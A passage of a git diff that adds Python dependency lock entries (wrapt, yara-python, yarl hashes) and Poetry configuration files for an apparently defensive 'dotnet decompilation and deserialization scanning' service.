"sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"}, + {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"}, + {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"}, + {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"}, + {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"}, + {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"}, + {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"}, + {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"}, + {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"}, + {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"}, + {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"}, + {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"}, + {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"}, + {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"}, + {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"}, + {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"}, + {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"}, + {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"}, + {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"}, +] + +[[package]] +name = "yara-python" +version = "4.3.1" +description = "Python interface for YARA" +optional = false +python-versions = "*" +files = [ + {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"}, + {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"}, + {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"}, + {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"}, + {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"}, + {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"}, + {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"}, + {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"}, + {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"}, + {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"}, + {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"}, +] + +[[package]] +name = "yarl" +version = "1.9.2" +description = "Yet another URL library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"}, + {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"}, + {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"}, + {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"}, + {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"}, + {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"}, + {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"}, + {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"}, + {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"}, + {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"}, + {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"}, + {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"}, + {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"}, +] + +[package.dependencies] +idna = ">=2.0" +multidict = ">=4.0" + +[metadata] +lock-version = "2.0" +python-versions = "^3.9" +content-hash = "d8247a503e625f9f02eba73d23d4c5c81d59ca07655da7f1ba7c97185ae1a0e9" diff --git a/cmd/dotnet/poetry.toml b/cmd/dotnet/poetry.toml new file mode 100644 index 0000000..5fcef8c --- /dev/null +++ b/cmd/dotnet/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true diff --git a/cmd/dotnet/pyproject.toml b/cmd/dotnet/pyproject.toml new file mode 100644 index 0000000..ca012a0 --- /dev/null +++ b/cmd/dotnet/pyproject.toml @@ -0,0 +1,65 @@ +[tool.poetry] +name = "dotnet" +version = "0.1.0" +description = "dotnet decompilation and deserialization scanning" +authors = ["SpecterOps "] +packages = [{ include = "dotnet" }] + +[tool.poetry.dependencies] +python = "^3.9" +fastapi = "^0.81.0" +uvicorn = { extras = ["standard"], version = "^0.18.3" } +python-multipart = "^0.0.5" +typing = "^3.7.4.3" +nemesispb = { path = "../../packages/python/nemesispb", develop = true } +nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true } +pycryptodomex = "^3.15.0" +prometheus-fastapi-instrumentator = "^5.9.1" +prometheus-client = "^0.15.0" +requests = "^2.28.1" +prometheus-async = {extras = ["aiohttp"], version = "^22.2.0"} +aiohttp = "^3.8.4" +pydantic = "^1.10.5" +fastapi-class = "^2.0.0" +aioboto3 = "^10.4.0" +structlog = "^23.1.0" +rich = "^13.3.3" + +[tool.poetry.dev-dependencies] +pytest = "^5.2" + +[tool.poetry.group.dev.dependencies] +debugpy = "^1.6.7" + +[build-system] +requires = ["poetry-core>=1.0.0"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +import_heading_stdlib = "Standard 